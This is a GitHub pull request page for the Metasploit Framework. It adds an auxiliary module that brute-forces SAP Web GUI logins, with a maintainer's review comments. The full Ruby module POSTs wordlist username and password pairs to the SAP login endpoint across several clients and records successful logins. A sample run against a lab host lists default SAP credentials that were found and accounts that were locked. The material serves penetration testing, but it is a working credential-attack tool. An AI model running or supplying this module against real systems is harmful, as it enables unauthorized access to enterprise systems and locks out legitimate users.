Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

SAP Web GUI Brute Force #1041

Merged
merged 2 commits into from

3 participants

@nmonkee

Module to brute force SAP web GUI.

modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((28 lines not shown))
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ SAP Web GUI Brute Force.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
+ 'Author' => [ 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+ register_options([
+ OptString.new('URI',[true, 'URI', "/"]),
+ OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
+ OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
+ OptString.new('USERPASS_FILE',[false, '',nil]),

I think this trailing comma breaks on 1.8.7.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((98 lines not shown))
+ cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
+ res = send_request_cgi({
+ 'uri' => "#{uri}#{path}",
+ 'method' => 'POST',
+ 'cookie' => cookie,
+ 'vars_post' => {
+ 'sap-system-login-oninputprocessing' => 'onLogin',
+ 'sap-urlscheme' => '',
+ 'sap-system-login' => 'onLogin',
+ 'sap-system-login-basic_auth' => '',
+ 'sap-system-login-cookie_disabled' => '',
+ 'sysid' => '',
+ 'sap-client' => cli,
+ 'sap-user' => user,
+ 'sap-password' => pass,
+ 'sap-language' => 'EN',

Trailing comma, please remove

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((16 lines not shown))
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::AuthBrute
+
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Version' => '$Revision$',
@jvazquez-r7 Collaborator

This field isn't needed anymore

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((20 lines not shown))
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::AuthBrute
+
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ SAP Web GUI Brute Force.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
@jvazquez-r7 Collaborator

Please use only reference to the specific technique used by the module, no general references.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

msftidy warnings should be fixed:

$ tools/msftidy.rb modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb 
sap_web_gui_brute_login.rb:9 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:10 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:12 - [ERROR] Unicode detected: "# Mariano Nu\xC3\xB1ez (the author of the Bizploit framework) helped me in my efforts\n"
sap_web_gui_brute_login.rb:14 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:15 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:27 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:40 - [WARNING] Bad indent: "\t\t    OptString.new('URI',[true, 'URI', \"/\"]),\n"
sap_web_gui_brute_login.rb:41 - [WARNING] Bad indent: "\t\t    OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),\n"
sap_web_gui_brute_login.rb:42 - [WARNING] Bad indent: "            OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),\n"
sap_web_gui_brute_login.rb:43 - [WARNING] Bad indent: "            OptString.new('USERPASS_FILE',[false, '',nil]),\n"
sap_web_gui_brute_login.rb:47 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:65 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:71 - [WARNING] Bad indent: "              'Header'  => \"[SAP] Credentials\",\n"
sap_web_gui_brute_login.rb:72 - [WARNING] Bad indent: "              'Prefix'  => \"\\n\",\n"
sap_web_gui_brute_login.rb:73 - [WARNING] Bad indent: "              'Postfix' => \"\\n\",\n"
sap_web_gui_brute_login.rb:74 - [WARNING] Bad indent: "              'Indent'  => 1,\n"
sap_web_gui_brute_login.rb:75 - [WARNING] Bad indent: "              'Columns' => [\"host\",\"port\",\"client\",\"user\",\"pass\"])\n"
sap_web_gui_brute_login.rb:94 - [WARNING] Spaces at EOL
sap_web_gui_brute_login.rb:98 - [WARNING] Bad indent: "\t\t    cookie = \"Active=true; sap-usercontext=sap-language=EN&sap-client=\#{cli}\"\n"
sap_web_gui_brute_login.rb:120 - [WARNING] Spaces at EOL

modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((25 lines not shown))
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::AuthBrute
+
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ SAP Web GUI Brute Force.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
+ 'Author' => [ 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+ register_options([
+ OptString.new('URI',[true, 'URI', "/"]),
@jvazquez-r7 Collaborator

TARGETURI and its api should be used

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((75 lines not shown))
+ 'Columns' => ["host","port","client","user","pass"])
+ if datastore['DEFAULT_CRED']
+ datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
+ end
+ if datastore['USERPASS_FILE']
+ credentials = extract_word_pair(datastore['USERPASS_FILE'])
+ credentials.each do |u,p|
+ client.each do |cli|
+ success = bruteforce(uri,u,p,cli)
+ if success == true
+ saptbl << [ip,rport,cli,u,p]
+ end
+ end
+ end
+ else
+ #todo
@jvazquez-r7 Collaborator

???

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((27 lines not shown))
+
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ SAP Web GUI Brute Force.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
+ 'Author' => [ 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+ register_options([
+ OptString.new('URI',[true, 'URI', "/"]),
+ OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
+ OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
@jvazquez-r7 Collaborator

I think DEFAULT_CRED and USERPASS_FILE could be mixed. If USERPASS_FILE is nil, use the default password and username, for example. Would be easier to use I think.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 commented on the diff
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((103 lines not shown))
+ 'vars_post' => {
+ 'sap-system-login-oninputprocessing' => 'onLogin',
+ 'sap-urlscheme' => '',
+ 'sap-system-login' => 'onLogin',
+ 'sap-system-login-basic_auth' => '',
+ 'sap-system-login-cookie_disabled' => '',
+ 'sysid' => '',
+ 'sap-client' => cli,
+ 'sap-user' => user,
+ 'sap-password' => pass,
+ 'sap-language' => 'EN',
+ }
+ })
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+ print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
+ return
@jvazquez-r7 Collaborator

return false, right?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((110 lines not shown))
+ 'sap-client' => cli,
+ 'sap-user' => user,
+ 'sap-password' => pass,
+ 'sap-language' => 'EN',
+ }
+ })
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+ print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
+ return
+ end
+
+ if res and res.code == 302
+ return true
+ end
+
+ if res and res.code == 200
@jvazquez-r7 Collaborator

elsif with the if above

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
((122 lines not shown))
+ return true
+ end
+
+ if res and res.code == 200
+ if res.body =~ /log on again/
+ return false
+ elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
+ return true
+ elsif res.body =~ /Password logon no longer possible - too many failed attempts/
+ print_error("[SAP] #{ip}:#{rport} - #{user} locked in client #{cli}")
+ return false
+ end
+ else
+ print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
+ end
+ return
@jvazquez-r7 Collaborator

true or false?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 merged commit e55e5d2 into rapid7:master

1 check passed

Details default The Travis build passed
@jvazquez-r7
Collaborator

Merged after last cleanup. In this cleanup I've merged the sap_soap_rfc_brute_login approach to get user/pass combinations:

msf  auxiliary(sap_web_gui_brute_login) > run

[*] Brute forcing clients 000,001,066
[-] [SAP] 192.168.1.160:8000 - SAP* locked in client 000
[-] [SAP] 192.168.1.160:8000 - SAP* locked in client 001
[-] [SAP] 192.168.1.160:8000 - SAP* locked in client 000
[-] [SAP] 192.168.1.160:8000 - SAP* locked in client 001
[-] [SAP] 192.168.1.160:8000 - DDIC locked in client 000
[-] [SAP] 192.168.1.160:8000 - DDIC locked in client 001
[-] [SAP] 192.168.1.160:8000 - DDIC locked in client 000
[-] [SAP] 192.168.1.160:8000 - DDIC locked in client 001

[SAP] Credentials
=================

   host           port  client  user        pass
   ----           ----  ------  ----        ----
   192.168.1.160  8000  000     SAPCPIC     ADMIN
   192.168.1.160  8000  001     SAPCPIC     ADMIN
   192.168.1.160  8000  066     EARLYWATCH  SUPPORT
   192.168.1.160  8000  000     TMSADM      PASSWORD

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(sap_web_gui_brute_login) > 

btw I need to unlock my SAP* account :-)

@nmonkee
@jvazquez-r7
Collaborator

a yes hah :) USR02 transaction has been my friend while testing brute force logins :)

thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Nov 7, 2012
  1. @nmonkee

    SAP Web GUI Brute Force

    nmonkee authored
Commits on Nov 14, 2012
  1. @nmonkee

    made requested changes

    nmonkee authored
This page is out of date. Refresh to see the latest.
Showing with 133 additions and 0 deletions.
  1. +133 −0 modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
View
133 modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
@@ -0,0 +1,133 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::AuthBrute
+
+ def initialize
+ super(
+ 'Name' => 'SAP Web GUI Brute Force',
+ 'Description' => %q{
+ SAP Web GUI Brute Force.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
+ 'Author' => [ 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+ register_options([
+ OptString.new('TARGETURI', [true, 'URI', '/']),
+ OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
+ OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
+ OptString.new('USERPASS_FILE',[false, '',nil])
+ ], self.class)
+ register_autofilter_ports([80])
+ end
+
+ def run_host(ip)
+ uri = datastore['TARGETURI']
+ if datastore['CLIENT'].nil?
+ print_status("Using default SAP client list")
+ client = ['000','001','066']
+ else
+ client = []
+ if datastore['CLIENT'] =~ /^\d{3},/
+ client = datastore['CLIENT'].split(/,/)
+ print_status("Brute forcing clients #{datastore['CLIENT']}")
+ elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
+ array = datastore['CLIENT'].split(/-/)
+ client = (array.at(0)..array.at(1)).to_a
+ print_status("Brute forcing clients #{datastore['CLIENT']}")
+ elsif datastore['CLIENT'] =~ /^\d{3}\z/
+ client.push(datastore['CLIENT'])
+ print_status("Brute forcing client #{datastore['CLIENT']}")
+ else
+ print_status("Invalid CLIENT - using default SAP client list instead")
+ client = ['000','001','066']
+ end
+ end
+ saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] Credentials",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["host","port","client","user","pass"])
+ if datastore['USERPASS_FILE']
+ credentials = extract_word_pair(datastore['USERPASS_FILE'])
+ credentials.each do |u,p|
+ client.each do |cli|
+ success = bruteforce(uri,u,p,cli)
+ if success == true
+ saptbl << [ip,rport,cli,u,p]
+ end
+ end
+ end
+ else
+ datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
+ end
+ print(saptbl.to_s)
+ end
+
+ def bruteforce(uri,user,pass,cli)
+ begin
+ path = "sap/bc/gui/sap/its/webgui/"
+ cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
+ res = send_request_cgi({
+ 'uri' => "#{uri}#{path}",
+ 'method' => 'POST',
+ 'cookie' => cookie,
+ 'vars_post' => {
+ 'sap-system-login-oninputprocessing' => 'onLogin',
+ 'sap-urlscheme' => '',
+ 'sap-system-login' => 'onLogin',
+ 'sap-system-login-basic_auth' => '',
+ 'sap-system-login-cookie_disabled' => '',
+ 'sysid' => '',
+ 'sap-client' => cli,
+ 'sap-user' => user,
+ 'sap-password' => pass,
+ 'sap-language' => 'EN'
+ }
+ })
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+ print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
+ return false
@jvazquez-r7 Collaborator

return false, right?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ end
+
+ if res and res.code == 302
+ return true
+ elsif res and res.code == 200
+ if res.body =~ /log on again/
+ return false
+ elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
+ return true
+ elsif res.body =~ /Password logon no longer possible - too many failed attempts/
+ print_error("[SAP] #{ip}:#{rport} - #{user} locked in client #{cli}")
+ return false
+ end
+ else
+ print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
+ return false
+ end
+ end
+end
Something went wrong with that request. Please try again.